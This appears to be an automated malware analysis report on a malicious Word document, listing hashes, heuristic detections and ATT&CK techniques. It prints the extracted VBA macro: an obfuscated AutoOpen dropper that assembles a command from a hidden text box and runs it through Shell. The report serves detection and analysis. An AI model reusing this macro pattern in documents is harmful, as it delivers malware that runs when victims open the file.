Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 bcb39225f268283d…

MALICIOUS

Office (OLE)

109.6 KB Created: 2018-12-12 06:31:00 Authoring application: Microsoft Office Word First seen: 2019-09-30
MD5: 7760568bc723ef05c15cb3157d42bb76 SHA-1: c7768bd63b55e4302ee8243efaa35aaf37e9d88c SHA-256: bcb39225f268283dcf3e10cd6c8378e9f83d71492cf868f0d2fcd4de224c93f1
292 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059.001 PowerShell T1059.003 Windows Command Shell

The sample contains a VBA macro with an autoopen subroutine that utilizes the Shell() function. This function is used to invoke external commands, specifically referencing cmd.exe and PowerShell, indicating an attempt to execute arbitrary code. The macro's obfuscated nature and the presence of these execution calls strongly suggest it's designed to download and execute a secondary payload.

Heuristics 10

  • ClamAV: Doc.Malware.Generic-6781664-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Generic-6781664-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
     _
.Shell(jDiosMLhVqV, kJlvrVOb), hfOUkdfpw)
   Set CzUXWDuqEGlcNNPVW = EaThjEiHWoqdznqiRspvYf
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Control = "TextBox1, 0, 0, MSForms, TextBox"
Sub autoopen()
ttkaciv
  • Suspicious cmd.exe invocation with execution flag high SC_STR_CMD
    Suspicious cmd.exe invocation with execution flag
  • Reference to PowerShell high SC_STR_POWERSHELL
    Reference to PowerShell
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.iec.ch In document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 7635 bytes
SHA-256: dca58eb5efd663e72469cadaefa0228955870d9aa6ce55f319a4e80043282db6
Detection
ClamAV: No threats found
Obfuscation or payload: likely
204 of 243 identifiers look randomly generated (e.g. 'hQifVqhdfSwSmSzkbOQzcjDd') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "OEZkLVYhuwjT"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "TextBox1, 0, 0, MSForms, TextBox"
Sub autoopen()
ttkaciv
End Sub

Attribute VB_Name = "RlSiJKzz"
Function ttkaciv()
On Error Resume Next
   Set PTbqCCXjuoACUTVHzi = vbGpoDFwRlFGhCzW
      GbzTCoCjSdQOAJYGJYw = Sqr(dnnwDGwpiTzVwvA)
         lqsmDGWZpkRbjzXdCNw = 126736274 * Oct(APwpNBwivSEIAUTjJFXRNH) * 130113081 * WIiwVSjwhjlavzqFXvuRMS - (212798748 + CLng(EzsIZBbswHSFSCJcjGbR) * 233084029 * CBool(297380339))
   MORtRNBcEbCrXZaZjHsdo = ChrW(kmVmRiGrOvLMjtHHJfuf)
   Set nIZHpGLGjOjRzOsADnU = hcBSzqlSbpNKskomOCp
      bDDWJQWhYXUfbYsKHGJwVt = Sqr(qBVZPaGlAziAiZiJjTEt)
         VijTsdiIsrUhYM = 140526232 * Oct(rHGSmTiwYNldzdfRzbVTmG) * 152704182 * bdIFKSFMJVpMzbRBAmuirBKP - (80703615 + CLng(iwrCBkkKqILcmF) * 53023220 * CBool(163080197))
   boSUXKTSzLsEaSttGk = ChrW(VGUEcnlIqXzpWTj)
   Set PbdnNjuVQqvOVpumFHFjaj = GMtaQFdzulsHdbjGK
      ZpDKUWoMVpCDrMjJWbUIdQn = Sqr(BddhRKVBuqBqOwsWlEjozrt)
         XUFIlBPICMJqtGvLTAIB = 71329211 * Oct(uajzWZjztKjzJzENPtasoCm) * 9080665 * fIXUzisViZiYniqcCTwH - (318434392 + CLng(wHGkPaSErnhVrQIfvbrbfXZo) * 185248453 * CBool(94455649))
   QmjoujiKQNNSRCahrqSnZ = ChrW(XXWPURahSIBqCSIzno)
   Set iaJbNWLifnSXIOf = svQICjuvSqpUcIzNqNfa
      zMZtaQcirUUwDiN = Sqr(IGufOIXhrBXoFhuiEbtjq)
         bTSQaWUVZZlchHkvq = 279333206 * Oct(sBZtnZKZmubpiutfbMziBN) * 139888305 * zDdznzIkDuwNCafrQwh - (181936510 + CLng(kHhobJjtInijwvkwKmolqmjv) * 210997972 * CBool(190686263))
   hGSEftiMvvLLoZ = ChrW(uGTjFiuuFJtpGwXlIwICmpi)
Const kJlvrVOb = 0
   Set iWfirPSubnIMzw = VTsSlkzhtGaSAwYFUvsXWAH
      BmKYGdziSzwOVRRTkpm = Sqr(RzRzCinQGbVVMTRzZZa)
         HrzCzKjDiZnjNfHDU = 82886157 * Oct(YpibrccBCARtLOWUaw) * 96183610 * rwklhooHhLNiMD - (17876529 + CLng(YPHaVIhDNfbSrKhFFMi) * 171370269 * CBool(36076052))
   uDnUUrmnhHLwvKqoiiRjYCMW = ChrW(WdHYAZcUcVDmAopQZ)
   Set hIcsVIWdrzYwPqufzqVJWDpQ = wlaFrvvEdKuBmw
      iLVqWQVIbTcokuZiTL = Sqr(WXwYADdrmjzdLsBaLhzund)
         wmOHKKEfaqwbwmnVmtZj = 184490120 * Oct(qRwiTNwTRAtuzmlwShh) * 3331484 * mNQEoYMNAOtAXvzLbqq - (233191291 + CLng(ZziCoBjqasBbCDE) * 207957469 * CBool(197737265))
   pjGQmztaqolqqrRRNPiC = ChrW(WcWZVsZVssfzKB)
   Set blKRlXUvhbQCAhJYozCkpGl = NEPfPMajjDzdomH
      ANZSqQdmmfoNSLBVACEjIof = Sqr(AjTzhfkBsKjchTRzbc)
         jYNOYCidliajLhERHwjEHvm = 137484330 * Oct(bZnjlGFfvwwnVvu) * 22749397 * wTRaYvcCKAuYln - (252485120 + CLng(GzdqwAbVEQkIilBlBFzSDhD) * 196278523 * CBool(75600225))
   aGKGJIJuPzRNEzrwWHKT = ChrW(YwJXjqTpYtziSaVLzGb)
   Set dJIijzBFNbEVlujX = zMLAzazWbFmuazHaL
      ZLJVundSPnMcEwQtYBw = Sqr(jiLIEuPKnbzvaWKL)
         iRXWiKKKzBpihbG = 184601749 * Oct(rrABQAYSfoqRCimEktjbrBXB) * 328377396 * tZjFAqSciSKHOQz - (25118545 + CLng(WTswTDawhWAFpTzDKHwmZnzw) * 169760269 * CBool(21494999))
   tdfScnCAhFJZWGJTTS = ChrW(owLDDJARajTuWPjjSB)
   Set HLoBARCRRXIwhi = wYMDnBGmbDOvFWbPdJdT
      zVFqmdRMsrRQJcCwzNAA = Sqr(MwmWzupHfnEOAACHNBX)
         ajMwiwuZSfwdSEkXTTojbE = 85777251 * Oct(NBIbzpjLcLwdlq) * 291379551 * zQpzqawwQfouMn - (88275650 + CLng(WHicnTZcvkBHFHlcbo) * 240174703 * CBool(76940917))
   NNnFMLUBpzowdHdHP = ChrW(fqMDGYorItLTYDBG)
   Set aiDlRBawSIXbztVzJo = rRnDidmNWcVnZLWwMtKu
      crvPSfZIvooZLv = Sqr(niUHinEUwUzQcu)
         EwtdParoQwNFbnj = 97386146 * Oct(PSLhZCPMYWzuUOwNm) * 239612155 * fhjdvqDJRicjQFiBJjaiwd - (115340617 + CLng(DstvjQroDqjjjpPrVtwdvqj) * 268100013 * CBool(249271598))
   niLFtBQoaDwHZBqn = ChrW(ZWCRUTjJDfnwMJEKWcMd)
jDiosMLhVqV = OEZkLVYhuwjT.TextBox1 + WbIFbGlN + AHVLaEV + XllzVLj + HOQVC + WakwWwjL + lpHzw + znhFF + ljKcMEC
   Set ijYRwzanJUMdSSaF = wJkUwobIQRZQGjulNG
      XbhCKOJnUuntsNEhp = Sqr(qjuwIhiAXCkSrFMIiwPGa)
         oBHOdXjCBBEDXZX = 176791675 * Oct(zUJqGCBCihkiIRiHk) * 291100853 * ouEKTUBjNohmkHiQmRPhzFL - (311236690 + CLng(wYtjVvmhimXuKpWFTnOAuzX) * 197538994 * CBool(9852744))
   qVKtiiJTXwHzstvEFVGVbcsc = ChrW(SzvvwBPiZFRXkDplqSaw)
   Set DdhbIYiGvjDJECu = YSXvzONwntwjMMS
      nXItvOziQlGVnjjUs = Sqr(zAUjGoPloOaCtjRlVhuANJUs)
         OHsIHJinRNRzEQTiKZiE = 91630045 * Oct(XDCKCaripjbFrjWdhFvPcVA) * 263674494 * RaWCkloQXkpFwGEwi - (157295269 + CLng(VwYmIjrdIwOBDOslzVfFu) * 256372679 * CBool(267358080))
   wjXlwrSuzPSSsnNVsI = ChrW(RJimrDVEbCSqiKEqbJGi)
   Set jqwlDcjdIPdSzbSRvo = UYUUThKuwTjGROtdtXYC
      zMzBTUpZMDDWMQwLVcEsi = Sqr(KbJLDEzZtXmsVMUTzMVVm)
         cjFzwRXuTJCSBYrIQ = 243799455 * Oct(mJjkUvjqCdrXMuuzZFG) * 51670194 * CzDcqDKwbrwktAGwzlCN - (176728089 + CLng(RblpXHYRCJdwkKcHdr) * 162417785 * CBool(303273620))
   lvnTuoCaUDuFjhbrBfD = ChrW(JpmGzQvTsHKojvfjwVd)
   Set hQClivFzDXjUEdBqXBYKnBsn = zpstUiuDhYjwfFQIQP
      CVworWjFKHLfYOShGMDjomR = Sqr(ERtrvHBWmwlwwAAXnc)
         vVsLiNXKvNjEQDckadpJC = 39651732 * Oct(tZdUjGLfvMCWBLGLiYzFJF) * 306874344 * uWPauwShpfzlEsoDkh - (242219579 + CLng(OhaYURLlEAfniIaNqllwtUj) * 141405175 * CBool(83067089))
   GljtVcVCGMvrGcnjdp = ChrW(LGwSbNwvnwtAFL)
   Set VULXHkAmzrswHjbi = sfWbPENajcfZPzwXMML
      GnbMOmTGDLAPEEU = Sqr(qmGPwwXHVNhuta)
         XPcUFDJMclHXYcQULdwhaFw = 54179733 * Oct(PUrBEZMcRczcjOwj) * 172274158 * dqYzfEtWQutURSTKpjSL - (162533256 + CLng(uvGzRrbOBAAcSRlP) * 267525638 * CBool(259122445))
   hIRizKjIZZMOPER = ChrW(dsfnBvCttTpACYZviCrDcMJp)
   Set NTnilCJkKmCHuiH = lXnBcTYrviZjYIiNNz
      DtCTKCGUUOGknDZHG = Sqr(DhtuviCdcLCDotu)
         DdiEdzVzEcozldwA = 185717600 * Oct(KSYJzTQhZuSRaMp) * 186355299 * wYCiDLuqStFrwN - (12284993 + CLng(hjcmtjOovZbhmCcIJdC) * 182656637 * CBool(171507004))
   GHiTfZLqbhQqsdMpGPJ = ChrW(jdjNDQRwiVKaAFcV)
   Set wbtbDzShDlHYjzk = HlsjWiRjwRjaqoSvnYYjqjKW
      ElRAunmaumKzKjPJMflQs = Sqr(PSLlKYDHabWzRwzfCiuzvBI)
         cpIWiBYFqNWwpIdNWnLjdNRS = 64989757 * Oct(cHVsvOKPIUQhcZCQGDaA) * 281406161 * BhdIpYSPYpMzYRjwSHoZAIz - (270377738 + CLng(mhMHNsJpjGoOmZmw) * 294375437 * CBool(317976069))
   UfBkjHlTMRssjowDrGI = ChrW(zDIpKvkjiCcHMWUf)
   Set tEIYWubXomjFirFTDAQ = DFJnNdvNLYDCNFTPLtX
      hKjVAsOwEYIGVwWouULt = Sqr(OLQihsdXqIKdlttWonVPwInP)
         hQifVqhdfSwSmSzkbOQzcjDd = 117273096 * Oct(hqiDFYAlzcurURc) * 340291591 * avDBUViVuWSUzMF - (92034788 + CLng(JrzcNZSATXqjtzUdd) * 190810763 * CBool(222046418))
   ENUAiLCiRBPpdFHk = ChrW(iNVlBBwnlAXzqU)
   Set chdZAcocYOMREOUzbIplVjw = EBvXzYVGVuVEiMcnwNGji
      XdzviumBYslsVzjR = Sqr(zsFwKtQOPfCoIdMBsdSY)
         tbUTVcTqrdGijG = 282433568 * Oct(PNkijPOkMQPYqcWOtZFR) * 248241433 * oQwYYCvJYWVZdQhpXdMj - (42452478 + CLng(MuzOGslKAZrmYUm) * 51400695 * CBool(288568488))
   pCstDRzGjEBbECWj = ChrW(BZJwCYNWwirsNC)
ApdFwuR = Array(JwvTXmRMs, XQPPHOH, WqpmA, Interaction _
 _
 _
 _
 _
 _
 _
 _
.Shell(jDiosMLhVqV, kJlvrVOb), hfOUkdfpw)
   Set CzUXWDuqEGlcNNPVW = EaThjEiHWoqdznqiRspvYf
      TdLJFwVaWijiRzUNQsO = Sqr(FAaIzmivXjaNYAzEXvYLA)
         TzOFYfziYCJwTTCCL = 123199104 * Oct(aCqEVKQzQqVUDhrj) * 179605221 * sODwsHXEZjjBUjGzZLdvsvI - (204970810 + CLng(oDiFQcmbISEJcJjjRkjT) * 101767930 * CBool(140264111))
   NGHfDjBzGYREDpzJDtZMQ = ChrW(nzBuPbKYLRTSUz)
   Set nVfmRVAkVzcGALMwCPWC = sBFlZtFwzKzXuJGjLRzI
      TPPBzWobzdSRzuTaArb = Sqr(nXmfiGBGOrwWtFZmpjcWRUz)
         iFvPmJKaYOkvdkSrUiNGf = 315271978 * Oct(tUhkROEcTXFBcKmTFjX) * 334805229 * ViJFRlCjHtBihBuFYtLT - (247352244 + CLng(XXjqjiOHZIzsYqYfz) * 192659397 * CBool(17951012))
   LiDSuJsNhnLftEGlVaEUUAT = ChrW(lpdDhttiQrFtUQvXpBalwRz)
End Function

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